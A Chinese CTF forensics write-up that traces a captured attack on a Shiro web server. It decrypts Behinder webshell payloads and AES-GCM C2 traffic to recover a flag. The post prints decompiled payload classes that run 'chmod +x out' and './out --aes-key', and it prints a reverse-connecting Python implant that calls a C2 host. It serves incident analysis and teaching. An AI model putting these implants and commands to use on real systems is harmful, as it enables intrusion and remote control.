from Crypto.Cipher import AES

KEY = b"1f2c8075acd3d118"
DIR = "export"

def decrypt_to_class(data):
    try:
        cipher = AES.new(KEY, AES.MODE_ECB)
        dec = cipher.decrypt(base64.b64decode(data))
        return dec[:-dec[-1]]
    except Exception:
        return b""

chunks = []

def get_sort_key(fname):
    match = re.search(r'\((\d+)\)', fname)
    return int(match.group(1)) if match else 0

files = sorted(os.listdir(DIR), key=get_sort_key)

for fname in files:
    path = os.path.join(DIR, fname)
    with open(path, "rb") as f:
        body = f.read().strip()
    
    data = decrypt_to_class(body)
    
    if data.startswith(b"\xca\xfe\xba\xbe"):
        with open(f"payload-{fname}.class", "wb") as file:
            file.write(data)
            print(f"Dump {fname} as java class file")
    else:
        with open(f"payload-{fname}.txt", "wb") as file:
            file.write(data)
            print(f"Dump {fname} as txt file")

一路看过去,发现中间都是在上传,最后检查了一遍Hash:

package sun.pquyv;

...

/* compiled from: FileOperation.java */
/* loaded from: payload-favicondemo(722).ico.class */
public class Yfnc {
	...
    public Yfnc() {
        mode = "";
        mode += "check";
        path = "";
        path += "/var/tmp/out";
        hash = "";
        hash += "a0275c1593af1adb";
        this.osCharset = Charset.forName(System.getProperty("sun.jnu.encoding"));
    }

    private String checkFileHash(String path2) throws Exception {
        FileChannel ch = (FileChannel) sessionGetAttribute(this.Session, path2);
        if (ch != null && ch.isOpen()) {
            ch.close();
        }
        byte[] input = getFileData(path2);
        if (input == null || input.length == 0) {
            return null;
        }
        MessageDigest md5 = MessageDigest.getInstance("MD5");
        md5.update(input);
        byte[] byteArray = md5.digest();
        StringBuilder sb = new StringBuilder();
        for (byte b : byteArray) {
            sb.append(String.format("%02x", Byte.valueOf(b)));
        }
        return sb.substring(0, 16);
    }
	...
}

并且给予执行权限:

package net.zlzbr.fsio.vbycsd;

...

/* compiled from: Cmd.java */
/* loaded from: payload-favicondemo(734).ico.class */
public class Xxzrrw {
    public static String cmd;
    public static String path;
    public static String whatever;
    private static String status = "success";
    private Object Request;
    private Object Response;
    private Object Session;
    ...
    public Xxzrrw() {
        cmd = "";
        cmd += "cd /var/tmp/ ;chmod +x out";
        path = "";
        path += "/var/tmp/";
    }
    ...
}

然后执行:

package org.zhnnj;

...

/* compiled from: Cmd.java */
/* loaded from: payload-favicondemo(736).ico.class */
public class Imrdoaaxs {
	...
    public Imrdoaaxs() {
        cmd = "";
        cmd += "cd /var/tmp/ ;./out --aes-key IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=";
        path = "";
        path += "/var/tmp/";
    }
    ...
}

得到了一个aes-key:IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=,之后就没有任何HTTP通信了。

第三层: 手写Shell

上面的HTTP流之后有一个TCP流通信,Dump出来发现: Pasted image 20260314133909.png

1f000000
33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a
24000000
5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c
1e000000
e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234
1f000000
bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f
30000000
be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871
2b000000
2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a
6e000000
8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95
69000000
5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5
24000000
410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6
1f000000
7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4

因为其长度不固定,推测不是ECB和CBC,尝试使用常见的CTR和CFB:

import base64
import binascii
from Crypto.Cipher import AES
from Crypto.Util import Counter

key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=")

hex_str = """
1f000000
33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a
24000000
5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c
1e000000
e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234
1f000000
bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f
30000000
be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871
2b000000
2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a
6e000000
8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95
69000000
5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5
24000000
410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6
1f000000
7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4
""".replace('\n', '').replace(' ', '')

data = binascii.unhexlify(hex_str)

chunks = []
i = 0
while i < len(data):
    length = int.from_bytes(data[i:i+4], 'little')
    i += 4
    chunk = data[i:i+length]
    chunks.append(chunk)
    i += length


iv=b'\x00' * 16
print(f"iv:0*16")

print("ctr:")
ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big'))
cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr)
for idx, c in enumerate(chunks):
    dec = cipher_ctr.decrypt(c)
    print(f"{idx}: len{len(dec)}: {dec}")

print("cfb:")
cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
for idx, c in enumerate(chunks):
    dec = cipher_cfb.decrypt(c)
    print(f"{idx}: len{len(dec)}: {dec}")

iv=b'\xff' * 16
print(f"iv:ff*16")

print("ctr:")
ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big'))
cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr)
for idx, c in enumerate(chunks):
    dec = cipher_ctr.decrypt(c)
    print(f"{idx}: len{len(dec)}: {dec}")

print("cfb:")
cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
for idx, c in enumerate(chunks):
    dec = cipher_cfb.decrypt(c)
    print(f"{idx}: len{len(dec)}: {dec}")

iv=key[:16]
print(f"iv:key[:16]s")

print("ctr:")
ctr = Counter.new(128, initial_value=int.from_bytes(iv, 'big'))
cipher_ctr = AES.new(key, AES.MODE_CTR, counter=ctr)
for idx, c in enumerate(chunks):
    dec = cipher_ctr.decrypt(c)
    print(f"{idx}: len{len(dec)}: {dec}")

print("cfb:")
cipher_cfb = AES.new(key, AES.MODE_CFB, iv=iv, segment_size=128)
for idx, c in enumerate(chunks):
    dec = cipher_cfb.decrypt(c)
    print(f"{idx}: len{len(dec)}: {dec}")

发现没有可读数据:

最后尝试到GCM发现可能性很大,首先前两个发送的指令长度分别是$\frac{62}{2}=31$个字符和$\frac{60}{2}=30$个字符,如果对应前面发现的测试时惯用的指令pwdls,能够对应上剩下28个固定字符,符合GCM的特征。尝试使用GCM解密:

import base64
import binascii
from Crypto.Cipher import AES

key = base64.b64decode("IhbJfHI98nuSvs5JweD5qsNvSQ/HHcE/SNLyEBU9Phs=")

hex_str = """
1f000000
33740a2c22b1e703d2f1480b321f3e4cdc8eb50da84ca0a76543b6bbadf60a
24000000
5c8a2365d717d71114b7be5599d5cfff553f2f0b2251505c3f5ada10a77be1bf35852f9c
1e000000
e3ee79aaf91b813d407e18095278046d32c10567fe57d60459d32f6df234
1f000000
bd345efc1465b04f38a410a09ed999e9849a570c27dd75e8d6b8aac5a4f22f
30000000
be53ef2dc360548f22bd7145f4e1733ffeb228db69b28e76ccb65ea9d8e33a709cfae6579a795f4045dbc2f6300cd871
2b000000
2b7991ad1cfcb2c0b334f5ee5cfb1be844f232c5062190e5e7bfb2208ef40aec6cff1aa7df01285fd3a92a
6e000000
8ac33897541bf959bb223309ffa07a25c49245bb988404180f84d7baef2c2ca8dfd669d39d3fa9c9e66b3da81834c7121cad53ffb16b38dcb062b2b3ce1b634f3bac9ed6e161661efb67ab754eb078718c484cb1b9ec873a103035fdc0b28ed418aa11e68b561599b9685ae54b95
69000000
5fb656ee12487f33e75202b3bec1a6728977618d6b221fb887fa90d36cb5ff75949c1ae90608e22fc81a12fb2e576dd2df4330fcbf619b19455dcfe6c9ae2a8e730cf9010dcc3a15f04bec1fa70b051792d4e197cee0f075405b366472711d1d94f5bb349348bf05d5
24000000
410d930f46d9e71c2200eb1fc4ec9986fd2d72ab2c35aa85fe66fa664a3729e3e9a906b6
1f000000
7ccb9636b4b330000914519540b5a3b0bacb6f594c3b03ff582d62084c1af4
""".replace('\n', '').replace(' ', '')

data = binascii.unhexlify(hex_str)

i = 0
chunk_idx = 0
while i < len(data):
    length = int.from_bytes(data[i:i+4], 'little')
    i += 4
    
    chunk = data[i:i+length]
    i += length
    
    nonce = chunk[:12]
    ciphertext = chunk[12:-16]
    tag = chunk[-16:]
    
    cipher = AES.new(key, AES.MODE_GCM, nonce=nonce)
    plaintext = cipher.decrypt_and_verify(ciphertext, tag)
    print(f"{chunk_idx}: len{len(plaintext)}: {plaintext}")
        
    chunk_idx += 1

得到:

0: len3: b'pwd'
1: len8: b'/var/tmp'
2: len2: b'ls'
3: len3: b'out'
4: len20: b'echo Congratulations'
5: len15: b'Congratulations'
6: len82: b'echo 3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi'
7: len77: b'3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi'
8: len8: b'echo bye'
9: len3: b'bye'

3SoX7GyGU1KBVYS3DYFbfqQ2CHqH2aPGwpfeyvv5MPY5Dm1Wt9VYRumoUvzdmoLw6FUm4AMqR5zoi丢进CyberChef,Base58+Base64解密后得到Flag:dart{d9850b27-85cb-4777-85e0-df0b78fdb722} Pasted image 20260314134936.png


后续在尝试完整提取并逆向其中分片上传的二进制,因为发现payload本身有个blockIndex,用于索引当前是第几部分。 让AI写了个完整逆向分析Java class并寻找索引和内容并拼接输出的脚本:

import os
import re
import base64
import subprocess
import concurrent.futures
from Crypto.Cipher import AES

# --- 配置区 ---
KEY = b"1f2c8075acd3d118"
DIR = "export"               # Wireshark 导出的 HTTP 对象所在文件夹
OUTPUT = "real_out.elf"        # 最终合并生成的文件
CFR_JAR_PATH = "cfr.jar" # 替换为你下载的 cfr.jar 的实际文件名
MAX_WORKERS = 16               # 线程数:你可以根据 CPU 核心数调大,比如 16、32

def decrypt_to_class(data):
    try:
        cipher = AES.new(KEY, AES.MODE_ECB)
        dec = cipher.decrypt(base64.b64decode(data))
        return dec[:-dec[-1]]
    except Exception:
        return b""

def decompile_and_extract(class_file_path):
    try:
        result = subprocess.run(
            ['java', '-jar', CFR_JAR_PATH, class_file_path],
            capture_output=True,
            text=True,
            check=True
        )
        source_code = result.stdout
        
        index_pattern = r'blockIndex\s*(?:\+?=|=\s*(?:this\.)?blockIndex\s*\+)\s*"(\d+)"'
        content_pattern = r'content\s*(?:\+?=|=\s*(?:this\.)?content\s*\+)\s*"([A-Za-z0-9+/=]+)"'
        
        index_match = re.search(index_pattern, source_code)
        content_match = re.search(content_pattern, source_code)
        
        if index_match and content_match:
            return int(index_match.group(1)), content_match.group(1)
            
    except Exception as e:
        pass
    
    return None, None

def process_single_file(fname):
    """
    单个线程执行的任务:读取、解密、写临时文件、反编译、提取、清理临时文件
    """
    path = os.path.join(DIR, fname)
    with open(path, "rb") as f:
        body = f.read().strip()
        
    java_class_bytes = decrypt_to_class(body)
    
    if java_class_bytes.startswith(b"\xca\xfe\xba\xbe"):
        # 确保每个线程的临时文件名唯一,防止冲突
        temp_class = f"temp_{fname}.class"
        with open(temp_class, "wb") as f:
            f.write(java_class_bytes)
        
        block_idx, content_b64 = decompile_and_extract(temp_class)
        
        # 清理临时文件
        if os.path.exists(temp_class):
            os.remove(temp_class)
        
        if block_idx is not None and content_b64 is not None:
            try:
                actual_chunk = base64.b64decode(content_b64)
                return block_idx, actual_chunk, fname
            except Exception as e:
                return None, f"解码异常: {e}", fname
                
    return None, "无效的 Class 或解密失败", fname

def main():
    files = [f for f in os.listdir(DIR) if os.path.isfile(os.path.join(DIR, f))]
    print(f"[*] 找到 {len(files)} 个文件。启动 {MAX_WORKERS} 个线程疯狂反编译中...")

    chunks_dict = {}

    # 启动线程池
    with concurrent.futures.ThreadPoolExecutor(max_workers=MAX_WORKERS) as executor:
        # 提交所有任务
        future_to_file = {executor.submit(process_single_file, fname): fname for fname in files}
        
        # as_completed 会在某个线程完成时立刻 yield,可以实时看到进度
        for future in concurrent.futures.as_completed(future_to_file):
            block_idx, result_data, fname = future.result()
            
            if block_idx is not None:
                chunks_dict[block_idx] = result_data
                print(f"[+] {fname} -> 提取成功: 块索引 [{block_idx}]")
            elif "无效" not in result_data:
                # 过滤掉非目标流量的报错干扰,只打印真的出错了的
                print(f"[-] {fname} -> 提取失败: {result_data}")

    if not chunks_dict:
        print("\n[-] 未提取到任何有效数据块。")
        return

    print(f"\n[*] 所有 {len(chunks_dict)} 块提取完毕。开始按 blockIndex 精准重组...")
    
    sorted_indices = sorted(chunks_dict.keys())
    
    with open(OUTPUT, "wb") as f:
        for idx in sorted_indices:
            print(f"[*] 写入块索引 [{idx}]")
            f.write(chunks_dict[idx])
            
    print(f"[!] 完美重组完成!生成文件:{OUTPUT}")

if __name__ == "__main__":
    main()

发现是一个Pyinstaller打包的elf。解压,逆向其中的inspect.pyc,得到:

# Visit https://www.lddgo.net/string/pyc-compile-decompile for more information
# Version : Python 3.9

import os
import socket
import struct
import subprocess
import argparse
import settings
import base64
from cryptography.hazmat.primitives.ciphers.aead import AESGCM
SERVER_LISTEN_IP = '10.1.243.155'
SERVER_LISTEN_PORT = 7788
IMPLANT_CONNECT_IP = '10.1.243.155'
IMPLANT_CONNECT_PORT = 7788
SERVER_LISTEN_NUM = 20
_aesgcm = None

def set_aes_key(key_b64 = None):
    global _aesgcm
    key = base64.b64decode(key_b64)
    if len(key) not in (16, 24, 32):
        raise ValueError('AES 密钥长度必须为 16, 24 或 32 字节(对应 128, 192, 256 位)')
    _aesgcm = None(key)


def encrypt_data(data = None):
    if _aesgcm is None:
        raise RuntimeError('AES 密钥未初始化,请先调用 set_aes_key()')
    nonce = None.urandom(12)
    ciphertext = _aesgcm.encrypt(nonce, data, None)
    return nonce + ciphertext


def decrypt_data(encrypted_data = None):
    if _aesgcm is None:
        raise RuntimeError('AES 密钥未初始化,请先调用 set_aes_key()')
    if None(encrypted_data) < 28:
        raise ValueError('加密数据太短,无法包含 nonce 和认证标签')
    nonce = None[:12]
    ciphertext_with_tag = encrypted_data[12:]
    plaintext = _aesgcm.decrypt(nonce, ciphertext_with_tag, None)
    return plaintext


def exec_cmd(command, code_flag):
    command = command.decode('utf-8')
# WARNING: Decompyle incomplete


def send_data(conn, data):
    if type(data) == str:
        data = data.encode('utf-8')
    encrypted_data = settings.encrypt_data(data)
    cmd_len = struct.pack('i', len(encrypted_data))
    conn.send(cmd_len)
    conn.send(encrypted_data)


def recv_data(sock, buf_size = (1024,)):
    x = sock.recv(4)
    all_size = struct.unpack('i', x)[0]
    recv_size = 0
    encrypted_data = b''
    if recv_size < all_size:
        encrypted_data += sock.recv(buf_size)
        recv_size += buf_size
        continue
    data = settings.decrypt_data(encrypted_data)
    return data


def main():
    sock = socket.socket()
    sock.connect((settings.IMPLANT_CONNECT_IP, settings.IMPLANT_CONNECT_PORT))
    code_flag = 'gbk' if os.name == 'nt' else 'utf-8'
# WARNING: Decompyle incomplete

if __name__ == '__main__':
    parser = argparse.ArgumentParser('', **('description',))
    parser.add_argument('--aes-key', True, '', **('required', 'help'))
    args = parser.parse_args()
    settings.set_aes_key(args.aes_key)
    main()

也证明了猜想,确实是GCM
(不过这一看就是ai出的罢)


梳理

完整的链条应该是这样的:

sequenceDiagram
    participant Attacker as 攻击者 (Attacker / C2 Server)
    participant WebServer as Web 应用层 (Shiro / Behinder WebShell)
    participant OS as 底层系统 (Linux OS)

    rect rgb(240, 248, 255)
        note right of Attacker: 阶段一:Shiro 漏洞利用与 RCE
        Attacker->>WebServer: 持续爆破 rememberMe Cookie (CVE-2016-4437)
        WebServer-->>Attacker: 302 跳转 (爆破成功获取 AES Key)
        Attacker->>WebServer: 发送 RCE Payload (Authorization头传递命令)
        WebServer->>OS: 派生进程执行命令 (whoami, ls -la 等)
        OS-->>WebServer: 返回标准输出结果 (root 等)
        WebServer-->>Attacker: 返回 Base64 加密的命令结果
    end

    rect rgb(255, 240, 245)
        note right of Attacker: 阶段二:注入内存马与后渗透探测
        Attacker->>WebServer: POST 请求注入 Behinder(冰蝎) 内存马
        WebServer-->>Attacker: 返回注入成功标识 (->|Success|<-)
        Attacker->>WebServer: 访问 /favicondemo.ico 发送 AES 加密的 Java Class
        WebServer->>OS: 读取环境变量、网络信息、遍历 /tmp 与 /var/tmp 目录
        OS-->>WebServer: 返回底层系统状态和文件列表
        WebServer-->>Attacker: 返回 AES 加密的探测结果
    end

    rect rgb(240, 255, 240)
        note right of Attacker: 阶段三:分片上传与执行持久化木马
        Attacker->>WebServer: 多次发包分片上传二进制 ELF 木马
        WebServer->>OS: 将 Payload 块追加写入 /var/tmp/out
        Attacker->>WebServer: 发送 Hash 校验请求
        WebServer->>OS: 计算落地文件 /var/tmp/out 的 MD5 Hash
        OS-->>WebServer: 校验通过
        WebServer-->>Attacker: 返回 Hash 值确认文件完整性
        Attacker->>WebServer: 发送命令 chmod +x out 及 ./out --aes-key ...
        WebServer->>OS: 赋予执行权限并带密钥参数运行木马程序
    end

    rect rgb(255, 253, 230)
        note right of Attacker: 阶段四:TCP 反连与深层控制
        OS->>Attacker: Pyinstaller 木马向 C2 发起 TCP 反向连接 (10.1.243.155:7788)
        Attacker->>OS: 发送基于 AES-GCM 加密的指令 (pwd, ls, echo)
        OS-->>Attacker: 返回加密的执行结果 (最终输出 Flag)
    end
  • 阶段一:Shiro 漏洞利用与 RCE 验证

    • 攻击者通过发送包含 rememberMe Cookie 的 GET 请求,成功爆破出 Apache Shiro 的 AES 密钥。
    • 随后,攻击者利用 Authorization 头传递加密命令,Web 服务器执行了 whoami 等命令,并返回了 Base64 加密的执行结果 root
  • 阶段二:植入内存 WebShell 与初步控制

    • 攻击者向 / 路径发送携带 Java 类的 POST 请求,成功注入冰蝎(Behinder)内存马,并将 C2 通信信道建立在 /favicondemo.ico 路径上。
    • 攻击者通过该信道下发经过 AES 加密的 Java Class,利用 Web 服务层读取了底层系统的环境变量、IP 信息(172.18.0.2),并执行了基础系统命令(如 ps -ef)。
  • 阶段三:恶意木马上传与落地执行

    • 攻击者通过 WebShell,利用 blockIndexblockSize 参数将一个 ELF 二进制文件分片追加写入到系统的 /var/tmp/out 路径下,并进行了 Hash 校验(a0275c1593af1adb)。
    • 攻击者下发 Shell 命令 chmod +x out 赋予文件执行权限,并通过 ./out --aes-key ... 在底层系统运行了该木马。
  • 阶段四:TCP 反连获取 Flag

    • 底层的 Python 恶意木马运行后,直接绕过 Web 层面,主动向攻击者的 C2 服务器(10.1.243.155:7788)发起 TCP 连接。
    • 双方切换至 AES-GCM 算法进行通信,攻击者下发 pwdlsecho Congratulations 等远控指令,并在最终的回包中获取到了 Flag。

总的来说还是挺有意思(?

3

评论 (0)

取消